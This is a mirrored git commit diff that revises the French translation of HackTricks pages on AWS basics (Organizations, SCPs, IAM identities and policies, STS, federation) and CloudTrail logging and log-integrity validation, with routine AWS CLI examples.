mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 11:26:11 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA
This commit is contained in:
@@ -12,7 +12,7 @@ Dans AWS, il y a un **compte root**, qui est le **conteneur parent pour tous les
|
||||
|
||||
C'est très intéressant d'un point de vue **sécurité**, car **un compte ne pourra pas accéder aux ressources d'un autre compte** (sauf si des ponts sont spécifiquement créés), de cette manière vous pouvez créer des limites entre les déploiements.
|
||||
|
||||
Par conséquent, il y a **deux types de comptes dans une organisation** (nous parlons de comptes AWS et non de comptes utilisateurs) : un seul compte désigné comme le compte de gestion, et un ou plusieurs comptes membres.
|
||||
Par conséquent, il y a **deux types de comptes dans une organisation** (nous parlons de comptes AWS et non de comptes utilisateurs) : un compte unique désigné comme le compte de gestion, et un ou plusieurs comptes membres.
|
||||
|
||||
- Le **compte de gestion (le compte root)** est le compte que vous utilisez pour créer l'organisation. À partir du compte de gestion de l'organisation, vous pouvez faire ce qui suit :
|
||||
|
||||
@@ -27,7 +27,7 @@ Par conséquent, il y a **deux types de comptes dans une organisation** (nous pa
|
||||
Le compte de gestion a les **responsabilités d'un compte payeur** et est responsable du paiement de tous les frais accumulés par les comptes membres. Vous ne pouvez pas changer le compte de gestion d'une organisation.
|
||||
|
||||
- Les **comptes membres** constituent tous les autres comptes d'une organisation. Un compte ne peut être membre que d'une seule organisation à la fois. Vous pouvez attacher une politique à un compte pour appliquer des contrôles uniquement à ce compte.
|
||||
- Les comptes membres **doivent utiliser une adresse email valide** et peuvent avoir un **nom**, en général, ils ne pourront pas gérer la facturation (mais ils pourraient y avoir accès).
|
||||
- Les comptes membres **doivent utiliser une adresse email valide** et peuvent avoir un **nom**, en général ils ne pourront pas gérer la facturation (mais ils pourraient y avoir accès).
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
@@ -40,7 +40,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
Une **service control policy (SCP)** est une politique qui spécifie les services et actions que les utilisateurs et rôles peuvent utiliser dans les comptes que la SCP affecte. Les SCP sont **similaires aux politiques de permissions IAM** sauf qu'elles **ne grantissent aucune permission**. Au lieu de cela, les SCP spécifient les **permissions maximales** pour une organisation, une unité organisationnelle (OU) ou un compte. Lorsque vous attachez une SCP à la racine de votre organisation ou à une OU, la **SCP limite les permissions pour les entités dans les comptes membres**.
|
||||
Une **service control policy (SCP)** est une politique qui spécifie les services et actions que les utilisateurs et rôles peuvent utiliser dans les comptes que la SCP affecte. Les SCP sont **similaires aux politiques de permissions IAM** sauf qu'elles **ne donnent aucune permission**. Au lieu de cela, les SCP spécifient les **permissions maximales** pour une organisation, une unité organisationnelle (OU) ou un compte. Lorsque vous attachez une SCP à la racine de votre organisation ou à une OU, la **SCP limite les permissions pour les entités dans les comptes membres**.
|
||||
|
||||
C'est le SEUL moyen par lequel **même l'utilisateur root peut être arrêté** de faire quelque chose. Par exemple, cela pourrait être utilisé pour empêcher les utilisateurs de désactiver CloudTrail ou de supprimer des sauvegardes.\
|
||||
Le seul moyen de contourner cela est de compromettre également le **compte maître** qui configure les SCP (le compte maître ne peut pas être bloqué).
|
||||
@@ -86,21 +86,21 @@ IAM est le service qui vous permettra de gérer **l'authentification**, **l'auto
|
||||
|
||||
IAM peut être défini par sa capacité à gérer, contrôler et gouverner les mécanismes d'authentification, d'autorisation et de contrôle d'accès des identités à vos ressources au sein de votre compte AWS.
|
||||
|
||||
### [Utilisateur root du compte AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
### [Utilisateur racine du compte AWS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
Lorsque vous créez pour la première fois un compte Amazon Web Services (AWS), vous commencez avec une identité de connexion unique qui a **un accès complet à tous** les services et ressources AWS dans le compte. C'est l'**utilisateur root** du compte AWS et il est accessible en se connectant avec **l'adresse e-mail et le mot de passe que vous avez utilisés pour créer le compte**.
|
||||
Lorsque vous créez pour la première fois un compte Amazon Web Services (AWS), vous commencez avec une identité de connexion unique qui a **un accès complet à tous** les services et ressources AWS dans le compte. C'est l'**utilisateur racine** du compte AWS et il est accessible en se connectant avec **l'adresse e-mail et le mot de passe que vous avez utilisés pour créer le compte**.
|
||||
|
||||
Notez qu'un nouvel **utilisateur admin** aura **moins de permissions que l'utilisateur root**.
|
||||
Notez qu'un nouvel **utilisateur admin** aura **moins de permissions que l'utilisateur racine**.
|
||||
|
||||
D'un point de vue sécurité, il est recommandé de créer d'autres utilisateurs et d'éviter d'utiliser celui-ci.
|
||||
|
||||
### [Utilisateurs IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
Un _utilisateur_ IAM est une entité que vous créez dans AWS pour **représenter la personne ou l'application** qui l'utilise pour **interagir avec AWS**. Un utilisateur dans AWS se compose d'un nom et de credentials (mot de passe et jusqu'à deux clés d'accès).
|
||||
Un _utilisateur_ IAM est une entité que vous créez dans AWS pour **représenter la personne ou l'application** qui l'utilise pour **interagir avec AWS**. Un utilisateur dans AWS se compose d'un nom et de références (mot de passe et jusqu'à deux clés d'accès).
|
||||
|
||||
Lorsque vous créez un utilisateur IAM, vous lui accordez des **permissions** en le rendant **membre d'un groupe d'utilisateurs** qui a des politiques de permission appropriées attachées (recommandé), ou en **attachant directement des politiques** à l'utilisateur.
|
||||
|
||||
Les utilisateurs peuvent avoir **MFA activé pour se connecter** via la console. Les tokens API des utilisateurs avec MFA activé ne sont pas protégés par MFA. Si vous souhaitez **restreindre l'accès des clés API d'un utilisateur en utilisant MFA**, vous devez indiquer dans la politique qu'en vue d'effectuer certaines actions, MFA doit être présent (exemple [**ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
Les utilisateurs peuvent avoir **MFA activé pour se connecter** via la console. Les jetons API des utilisateurs avec MFA activé ne sont pas protégés par MFA. Si vous souhaitez **restreindre l'accès des clés API d'un utilisateur en utilisant MFA**, vous devez indiquer dans la politique qu'en vue d'effectuer certaines actions, MFA doit être présent (exemple [**ici**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
@@ -108,7 +108,7 @@ Les utilisateurs peuvent avoir **MFA activé pour se connecter** via la console.
|
||||
- **ID de clé d'accès secrète** : 40 caractères aléatoires en majuscules et minuscules : S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Il n'est pas possible de récupérer les ID de clé d'accès secrète perdus).
|
||||
|
||||
Chaque fois que vous devez **changer la clé d'accès**, voici le processus que vous devez suivre :\
|
||||
_Créez une nouvelle clé d'accès -> Appliquez la nouvelle clé au système/application -> marquez l'original comme inactif -> Testez et vérifiez que la nouvelle clé d'accès fonctionne -> Supprimez l'ancienne clé d'accès_
|
||||
_Créer une nouvelle clé d'accès -> Appliquer la nouvelle clé au système/application -> Marquer l'original comme inactif -> Tester et vérifier que la nouvelle clé d'accès fonctionne -> Supprimer l'ancienne clé d'accès_
|
||||
|
||||
### MFA - Authentification Multi-Facteurs
|
||||
|
||||
@@ -121,8 +121,8 @@ Les politiques avec des conditions MFA peuvent être attachées aux éléments s
|
||||
- Une ressource telle qu'un bucket Amazon S3, une file d'attente Amazon SQS ou un sujet Amazon SNS
|
||||
- La politique de confiance d'un rôle IAM qui peut être assumé par un utilisateur
|
||||
|
||||
Si vous souhaitez **accéder via CLI** à une ressource qui **vérifie MFA**, vous devez appeler **`GetSessionToken`**. Cela vous donnera un token avec des informations sur MFA.\
|
||||
Notez que **les credentials `AssumeRole` ne contiennent pas cette information**.
|
||||
Si vous souhaitez **accéder via CLI** à une ressource qui **vérifie MFA**, vous devez appeler **`GetSessionToken`**. Cela vous donnera un jeton avec des informations sur MFA.\
|
||||
Notez que **les informations d'identification `AssumeRole` ne contiennent pas cette information**.
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
@@ -143,17 +143,17 @@ Voici quelques caractéristiques importantes des groupes d'utilisateurs :
|
||||
|
||||
### [Rôles IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'elle** peut et ne peut pas faire dans AWS. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **assigné à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM.
|
||||
Un **rôle IAM** est très **similaire** à un **utilisateur**, en ce sens qu'il s'agit d'une **identité avec des politiques d'autorisation qui déterminent ce qu'elle** peut et ne peut pas faire dans AWS. Cependant, un rôle **n'a pas de credentials** (mot de passe ou clés d'accès) qui lui sont associés. Au lieu d'être associé de manière unique à une personne, un rôle est destiné à être **assumé par quiconque en a besoin (et a suffisamment de permissions)**. Un **utilisateur IAM peut assumer un rôle pour temporairement** prendre des autorisations différentes pour une tâche spécifique. Un rôle peut être **attribué à un** [**utilisateur fédéré**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) qui se connecte en utilisant un fournisseur d'identité externe au lieu d'IAM.
|
||||
|
||||
Un rôle IAM se compose de **deux types de politiques** : une **politique de confiance**, qui ne peut pas être vide, définissant **qui peut assumer** le rôle, et une **politique d'autorisation**, qui ne peut pas être vide, définissant **ce qu'il peut accéder**.
|
||||
|
||||
#### Service de jetons de sécurité AWS (STS)
|
||||
|
||||
Le Service de jetons de sécurité AWS (STS) est un service web qui facilite l'**émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour :
|
||||
Le Service de jetons de sécurité AWS (STS) est un service web qui facilite **l'émission de credentials temporaires à privilèges limités**. Il est spécifiquement conçu pour :
|
||||
|
||||
### [Credentials temporaires dans IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
|
||||
|
||||
Les **credentials temporaires sont principalement utilisés avec les rôles IAM**, mais il existe également d'autres utilisations. Vous pouvez demander des credentials temporaires qui ont un ensemble de permissions plus restreint que votre utilisateur IAM standard. Cela **empêche** que vous **effectuiez accidentellement des tâches qui ne sont pas autorisées** par les credentials plus restreints. Un avantage des credentials temporaires est qu'ils expirent automatiquement après une période déterminée. Vous avez le contrôle sur la durée pendant laquelle les credentials sont valides.
|
||||
Les **credentials temporaires sont principalement utilisés avec des rôles IAM**, mais il existe également d'autres utilisations. Vous pouvez demander des credentials temporaires qui ont un ensemble de permissions plus restreint que votre utilisateur IAM standard. Cela **empêche** que vous **effectuiez accidentellement des tâches qui ne sont pas autorisées** par les credentials plus restreints. Un avantage des credentials temporaires est qu'ils expirent automatiquement après une période déterminée. Vous avez le contrôle sur la durée pendant laquelle les credentials sont valides.
|
||||
|
||||
### Politiques
|
||||
|
||||
@@ -162,7 +162,7 @@ Les **credentials temporaires sont principalement utilisés avec les rôles IAM*
|
||||
Sont utilisées pour attribuer des permissions. Il existe 2 types :
|
||||
|
||||
- Politiques gérées par AWS (préconfigurées par AWS)
|
||||
- Politiques gérées par le client : configurées par vous. Vous pouvez créer des politiques basées sur des politiques gérées par AWS (en modifiant l'une d'elles et en créant la vôtre), en utilisant le générateur de politiques (une vue GUI qui vous aide à accorder et refuser des permissions) ou en écrivant les vôtres.
|
||||
- Politiques gérées par le client : configurées par vous. Vous pouvez créer des politiques basées sur des politiques gérées par AWS (en modifiant l'une d'elles et en créant la vôtre), en utilisant le générateur de politiques (une vue GUI qui vous aide à accorder et refuser des permissions) ou en écrivant la vôtre.
|
||||
|
||||
Par **défaut, l'accès** est **refusé**, l'accès sera accordé si un rôle explicite a été spécifié.\
|
||||
Si **un "Deny" unique existe, il remplacera le "Allow"**, sauf pour les demandes qui utilisent les credentials de sécurité root du compte AWS (qui sont autorisées par défaut).
|
||||
@@ -194,7 +194,7 @@ Les [champs spécifiques qui peuvent être utilisés pour des conditions par ser
|
||||
#### Politiques Inline
|
||||
|
||||
Ce type de politiques est **directement assigné** à un utilisateur, un groupe ou un rôle. Ainsi, elles n'apparaissent pas dans la liste des Politiques car d'autres peuvent les utiliser.\
|
||||
Les politiques inline sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les permissions dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique inline, les permissions dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées dans l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale.
|
||||
Les politiques inline sont utiles si vous souhaitez **maintenir une relation stricte un à un entre une politique et l'identité** à laquelle elle est appliquée. Par exemple, vous voulez vous assurer que les autorisations dans une politique ne sont pas attribuées par inadvertance à une identité autre que celle pour laquelle elles sont destinées. Lorsque vous utilisez une politique inline, les autorisations dans la politique ne peuvent pas être attachées par inadvertance à la mauvaise identité. De plus, lorsque vous utilisez la console de gestion AWS pour supprimer cette identité, les politiques intégrées dans l'identité sont également supprimées. C'est parce qu'elles font partie de l'entité principale.
|
||||
|
||||
#### Politiques de Bucket de Ressources
|
||||
|
||||
@@ -204,17 +204,17 @@ Si un principal n'a pas de refus explicite à leur égard, et qu'une politique d
|
||||
|
||||
### Limites IAM
|
||||
|
||||
Les limites IAM peuvent être utilisées pour **limiter les permissions auxquelles un utilisateur ou un rôle devrait avoir accès**. De cette façon, même si un ensemble différent de permissions est accordé à l'utilisateur par une **politique différente**, l'opération **échouera** s'il essaie de les utiliser.
|
||||
Les limites IAM peuvent être utilisées pour **limiter les autorisations auxquelles un utilisateur ou un rôle devrait avoir accès**. De cette façon, même si un ensemble différent d'autorisations est accordé à l'utilisateur par une **politique différente**, l'opération **échouera** s'il essaie de les utiliser.
|
||||
|
||||
Une limite est simplement une politique attachée à un utilisateur qui **indique le niveau maximum de permissions que l'utilisateur ou le rôle peut avoir**. Donc, **même si l'utilisateur a un accès Administrateur**, si la limite indique qu'il ne peut lire que des buckets S·, c'est le maximum qu'il peut faire.
|
||||
Une limite est simplement une politique attachée à un utilisateur qui **indique le niveau maximum d'autorisations que l'utilisateur ou le rôle peut avoir**. Donc, **même si l'utilisateur a un accès Administrateur**, si la limite indique qu'il ne peut lire que des buckets S·, c'est le maximum qu'il peut faire.
|
||||
|
||||
**Cela**, **les SCP** et **le respect du principe du moindre privilège** sont les moyens de contrôler que les utilisateurs n'ont pas plus de permissions que celles dont ils ont besoin.
|
||||
**Cela**, **les SCP** et **le respect du principe du moindre privilège** sont les moyens de contrôler que les utilisateurs n'ont pas plus d'autorisations que celles dont ils ont besoin.
|
||||
|
||||
### Politiques de Session
|
||||
|
||||
Une politique de session est une **politique définie lorsqu'un rôle est assumé** d'une manière ou d'une autre. Cela sera comme une **limite IAM pour cette session** : Cela signifie que la politique de session ne donne pas de permissions mais **les restreint à celles indiquées dans la politique** (les permissions maximales étant celles que le rôle a).
|
||||
Une politique de session est une **politique définie lorsqu'un rôle est assumé** d'une manière ou d'une autre. Cela sera comme une **limite IAM pour cette session** : Cela signifie que la politique de session ne donne pas d'autorisations mais **les restreint à celles indiquées dans la politique** (les autorisations maximales étant celles que le rôle a).
|
||||
|
||||
Ceci est utile pour des **mesures de sécurité** : Lorsqu'un administrateur va assumer un rôle très privilégié, il pourrait restreindre la permission uniquement à celles indiquées dans la politique de session au cas où la session serait compromise.
|
||||
Ceci est utile pour des **mesures de sécurité** : Lorsqu'un administrateur va assumer un rôle très privilégié, il pourrait restreindre l'autorisation uniquement à celles indiquées dans la politique de session au cas où la session serait compromise.
|
||||
```bash
|
||||
aws sts assume-role \
|
||||
--role-arn <value> \
|
||||
@@ -222,14 +222,14 @@ aws sts assume-role \
|
||||
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
|
||||
[--policy <file://policy.json>]
|
||||
```
|
||||
Notez qu'en défaut, **AWS peut ajouter des politiques de session aux sessions** qui vont être générées pour d'autres raisons. Par exemple, dans [les rôles supposés cognito non authentifiés](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) par défaut (en utilisant l'authentification améliorée), AWS générera **des identifiants de session avec une politique de session** qui limite les services auxquels la session peut accéder [**à la liste suivante**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
Notez qu'en défaut, **AWS peut ajouter des politiques de session aux sessions** qui vont être générées pour d'autres raisons. Par exemple, dans [les rôles supposés de cognito non authentifiés](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) par défaut (en utilisant l'authentification améliorée), AWS générera **des identifiants de session avec une politique de session** qui limite les services auxquels cette session peut accéder [**à la liste suivante**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
|
||||
|
||||
Par conséquent, si à un moment donné vous rencontrez l'erreur "... parce qu'aucune politique de session ne permet le ...", et que le rôle a accès pour effectuer l'action, c'est parce que **il y a une politique de session qui l'empêche**.
|
||||
|
||||
### Fédération d'identité
|
||||
|
||||
La fédération d'identité **permet aux utilisateurs des fournisseurs d'identité qui sont externes** à AWS d'accéder aux ressources AWS de manière sécurisée sans avoir à fournir les identifiants d'utilisateur AWS d'un compte IAM valide.\
|
||||
Un exemple de fournisseur d'identité peut être votre propre **Microsoft Active Directory** d'entreprise (via **SAML**) ou des services **OpenID** (comme **Google**). L'accès fédéré permettra alors aux utilisateurs de celui-ci d'accéder à AWS.
|
||||
Un exemple de fournisseur d'identité peut être votre propre **Microsoft Active Directory** (via **SAML**) ou des services **OpenID** (comme **Google**). L'accès fédéré permettra alors aux utilisateurs de celui-ci d'accéder à AWS.
|
||||
|
||||
Pour configurer cette confiance, un **fournisseur d'identité IAM est généré (SAML ou OAuth)** qui **fera confiance** à la **autre plateforme**. Ensuite, au moins un **rôle IAM est attribué (faisant confiance) au fournisseur d'identité**. Si un utilisateur de la plateforme de confiance accède à AWS, il le fera en accédant au rôle mentionné.
|
||||
|
||||
@@ -251,19 +251,19 @@ Pour connecter les utilisateurs, il y a 3 sources d'identité qui peuvent être
|
||||
|
||||
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dans le cas le plus simple du répertoire Identity Center, le **Centre d'identité aura une liste d'utilisateurs et de groupes** et sera capable d'**attribuer des politiques** à eux pour **n'importe lequel des comptes** de l'organisation.
|
||||
Dans le cas le plus simple du répertoire Identity Center, le **Centre d'identité aura une liste d'utilisateurs et de groupes** et sera capable d'**attribuer des politiques** à ceux-ci pour **n'importe lequel des comptes** de l'organisation.
|
||||
|
||||
Pour donner accès à un utilisateur/groupe du Centre d'identité à un compte, un **fournisseur d'identité SAML faisant confiance au Centre d'identité sera créé**, et un **rôle faisant confiance au fournisseur d'identité avec les politiques indiquées sera créé** dans le compte de destination.
|
||||
|
||||
#### AwsSSOInlinePolicy
|
||||
|
||||
Il est possible de **donner des permissions via des politiques en ligne aux rôles créés via IAM Identity Center**. Les rôles créés dans les comptes étant donnés **des politiques en ligne dans AWS Identity Center** auront ces permissions dans une politique en ligne appelée **`AwsSSOInlinePolicy`**.
|
||||
Il est possible de **donner des permissions via des politiques en ligne aux rôles créés via IAM Identity Center**. Les rôles créés dans les comptes recevant **des politiques en ligne dans AWS Identity Center** auront ces permissions dans une politique en ligne appelée **`AwsSSOInlinePolicy`**.
|
||||
|
||||
Par conséquent, même si vous voyez 2 rôles avec une politique en ligne appelée **`AwsSSOInlinePolicy`**, cela **ne signifie pas qu'ils ont les mêmes permissions**.
|
||||
|
||||
### Confiances et rôles inter-comptes
|
||||
|
||||
**Un utilisateur** (faisant confiance) peut créer un rôle inter-comptes avec certaines politiques et ensuite, **permettre à un autre utilisateur** (de confiance) d'**accéder à son compte** mais seulement **en ayant l'accès indiqué dans les nouvelles politiques de rôle**. Pour créer cela, il suffit de créer un nouveau rôle et de sélectionner le rôle inter-comptes. Les rôles pour l'accès inter-comptes offrent deux options. Fournir un accès entre les comptes AWS que vous possédez, et fournir un accès entre un compte que vous possédez et un compte AWS tiers.\
|
||||
**Un utilisateur** (faisant confiance) peut créer un rôle inter-comptes avec certaines politiques et ensuite, **permettre à un autre utilisateur** (de confiance) d'**accéder à son compte** mais uniquement **avec l'accès indiqué dans les nouvelles politiques de rôle**. Pour créer cela, il suffit de créer un nouveau rôle et de sélectionner le rôle inter-comptes. Les rôles pour l'accès inter-comptes offrent deux options. Fournir un accès entre les comptes AWS que vous possédez, et fournir un accès entre un compte que vous possédez et un compte AWS tiers.\
|
||||
Il est recommandé de **spécifier l'utilisateur qui est de confiance et de ne pas mettre quelque chose de générique** car sinon, d'autres utilisateurs authentifiés comme les utilisateurs fédérés pourront également abuser de cette confiance.
|
||||
|
||||
### AWS Simple AD
|
||||
@@ -280,11 +280,11 @@ Non pris en charge :
|
||||
|
||||
#### Fédération Web ou authentification OpenID
|
||||
|
||||
L'application utilise AssumeRoleWithWebIdentity pour créer des identifiants temporaires. Cependant, cela ne donne pas accès à la console AWS, juste accès aux ressources au sein d'AWS.
|
||||
L'application utilise AssumeRoleWithWebIdentity pour créer des identifiants temporaires. Cependant, cela n'accorde pas l'accès à la console AWS, seulement l'accès aux ressources au sein d'AWS.
|
||||
|
||||
### Autres options IAM
|
||||
|
||||
- Vous pouvez **définir un paramètre de politique de mot de passe** avec des options comme la longueur minimale et les exigences de mot de passe.
|
||||
- Vous pouvez **définir une politique de mot de passe** avec des options comme la longueur minimale et les exigences de mot de passe.
|
||||
- Vous pouvez **télécharger un "Rapport d'identifiants"** avec des informations sur les identifiants actuels (comme le temps de création de l'utilisateur, si le mot de passe est activé...). Vous pouvez générer un rapport d'identifiants aussi souvent qu'une fois toutes les **quatre heures**.
|
||||
|
||||
La gestion des identités et des accès AWS (IAM) fournit un **contrôle d'accès granulaire** sur l'ensemble d'AWS. Avec IAM, vous pouvez spécifier **qui peut accéder à quels services et ressources**, et sous quelles conditions. Avec les politiques IAM, vous gérez les permissions de votre main-d'œuvre et de vos systèmes pour **assurer des permissions de moindre privilège**.
|
||||
@@ -297,7 +297,7 @@ Dans [**cette page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference
|
||||
| ---- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| ABIA | [Jeton porteur de service AWS STS](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_bearer.html) |
|
||||
|
||||
| ACCA | Identifiant spécifique au contexte |
|
||||
| ACCA | Identifiant de contexte spécifique |
|
||||
| AGPA | Groupe d'utilisateurs |
|
||||
| AIDA | Utilisateur IAM |
|
||||
| AIPA | Profil d'instance Amazon EC2 |
|
||||
@@ -307,7 +307,7 @@ Dans [**cette page**](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference
|
||||
| APKA | Clé publique |
|
||||
| AROA | Rôle |
|
||||
| ASCA | Certificat |
|
||||
| ASIA | [Identifiants de clé d'accès temporaires (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilisent ce préfixe, mais ne sont uniques qu'en combinaison avec la clé d'accès secrète et le jeton de session. |
|
||||
| ASIA | [Identifiants de clé d'accès temporaires (AWS STS)](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html) utilisent ce préfixe, mais sont uniques uniquement en combinaison avec la clé d'accès secrète et le jeton de session. |
|
||||
|
||||
### Permissions recommandées pour auditer les comptes
|
||||
|
||||
|
||||
@@ -17,12 +17,12 @@ Chaque événement enregistré contient :
|
||||
- console.amazonaws.com - Utilisateur root du compte
|
||||
- lambda.amazonaws.com - AWS Lambda
|
||||
- Les paramètres de la requête : `requestParameters`
|
||||
- Les éléments de réponse : `responseElements`
|
||||
- Les éléments de la réponse : `responseElements`
|
||||
|
||||
Les événements sont écrits dans un nouveau fichier journal **environ toutes les 5 minutes dans un fichier JSON**, ils sont conservés par CloudTrail et enfin, les fichiers journaux sont **livrés à S3 environ 15 minutes après**.\
|
||||
Les journaux de CloudTrail peuvent être **agrégés à travers les comptes et les régions.**\
|
||||
CloudTrail permet d'utiliser **l'intégrité des fichiers journaux afin de pouvoir vérifier que vos fichiers journaux sont restés inchangés** depuis que CloudTrail vous les a livrés. Il crée un hachage SHA-256 des journaux à l'intérieur d'un fichier de résumé. Un hachage sha-256 des nouveaux journaux est créé chaque heure.\
|
||||
Lors de la création d'un Trail, les sélecteurs d'événements vous permettront d'indiquer le type de trail à enregistrer : événements de gestion, de données ou d'insights.
|
||||
Lors de la création d'un Trail, les sélecteurs d'événements vous permettront d'indiquer le type d'événements à enregistrer : événements de gestion, de données ou d'informations.
|
||||
|
||||
Les journaux sont sauvegardés dans un bucket S3. Par défaut, le chiffrement côté serveur est utilisé (SSE-S3) donc AWS déchiffrera le contenu pour les personnes qui y ont accès, mais pour une sécurité supplémentaire, vous pouvez utiliser SSE avec KMS et vos propres clés.
|
||||
|
||||
@@ -51,7 +51,7 @@ De plus, **les fichiers de résumé (pour vérifier l'intégrité des fichiers)*
|
||||
Cependant, même si vous pouvez sauvegarder tous les journaux dans le même bucket S3, vous ne pouvez pas agréger les journaux CloudTrail de plusieurs comptes dans des journaux CloudWatch appartenant à un seul compte AWS.
|
||||
|
||||
> [!CAUTION]
|
||||
> Rappelez-vous qu'un compte peut avoir **différents Trails** de CloudTrail **activés** stockant les mêmes (ou différents) journaux dans différents buckets.
|
||||
> N'oubliez pas qu'un compte peut avoir **différents Trails** de CloudTrail **activés** stockant les mêmes (ou différents) journaux dans différents buckets.
|
||||
|
||||
### CloudTrail de tous les comptes d'organisation en 1
|
||||
|
||||
@@ -67,7 +67,7 @@ Vous pouvez vérifier que les journaux n'ont pas été altérés en exécutant
|
||||
```javascript
|
||||
aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]
|
||||
```
|
||||
### Journaux vers CloudWatch
|
||||
### Logs to CloudWatch
|
||||
|
||||
**CloudTrail peut automatiquement envoyer des journaux à CloudWatch afin que vous puissiez définir des alertes qui vous avertissent lorsque des activités suspectes sont effectuées.**\
|
||||
Notez que pour permettre à CloudTrail d'envoyer les journaux à CloudWatch, un **rôle** doit être créé pour autoriser cette action. Si possible, il est recommandé d'utiliser le rôle par défaut d'AWS pour effectuer ces actions. Ce rôle permettra à CloudTrail de :
|
||||
@@ -75,7 +75,7 @@ Notez que pour permettre à CloudTrail d'envoyer les journaux à CloudWatch, un
|
||||
- CreateLogStream : Cela permet de créer des flux de journaux CloudWatch Logs
|
||||
- PutLogEvents : Livrer les journaux CloudTrail au flux de journaux CloudWatch Logs
|
||||
|
||||
### Historique des événements
|
||||
### Event History
|
||||
|
||||
L'historique des événements CloudTrail vous permet d'inspecter dans un tableau les journaux qui ont été enregistrés :
|
||||
|
||||
@@ -87,25 +87,25 @@ L'historique des événements CloudTrail vous permet d'inspecter dans un tableau
|
||||
|
||||
Les insights sont stockés dans le même bucket que les journaux CloudTrail dans : `BucketName/AWSLogs/AccountID/CloudTrail-Insight`
|
||||
|
||||
### Sécurité
|
||||
| Nom du contrôle | Détails de mise en œuvre |
|
||||
### Security
|
||||
| Control Name | Implementation Details |
|
||||
| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| Intégrité des fichiers journaux CloudTrail | <ul><li>Valider si les journaux ont été altérés (modifiés ou supprimés)</li><li><p>Utilise des fichiers de résumé (crée un hachage pour chaque fichier)</p><ul><li>Hachage SHA-256</li><li>SHA-256 avec RSA pour la signature numérique</li><li>clé privée détenue par Amazon</li></ul></li><li>Prend 1 heure pour créer un fichier de résumé (fait à l'heure chaque heure)</li></ul> |
|
||||
| Arrêter l'accès non autorisé | <ul><li><p>Utiliser des politiques IAM et des politiques de bucket S3</p><ul><li>équipe de sécurité —> accès administrateur</li><li>auditeurs —> accès en lecture seule</li></ul></li><li>Utiliser SSE-S3/SSE-KMS pour chiffrer les journaux</li></ul> |
|
||||
| Empêcher la suppression des fichiers journaux | <ul><li>Restreindre l'accès à la suppression avec IAM et les politiques de bucket</li><li>Configurer la suppression MFA S3</li><li>Valider avec la validation des fichiers journaux</li></ul> |
|
||||
| CloudTrail Log File Integrity | <ul><li>Valider si les journaux ont été altérés (modifiés ou supprimés)</li><li><p>Utilise des fichiers de résumé (crée un hachage pour chaque fichier)</p><ul><li>Hachage SHA-256</li><li>SHA-256 avec RSA pour la signature numérique</li><li>clé privée détenue par Amazon</li></ul></li><li>Prend 1 heure pour créer un fichier de résumé (fait à l'heure chaque heure)</li></ul> |
|
||||
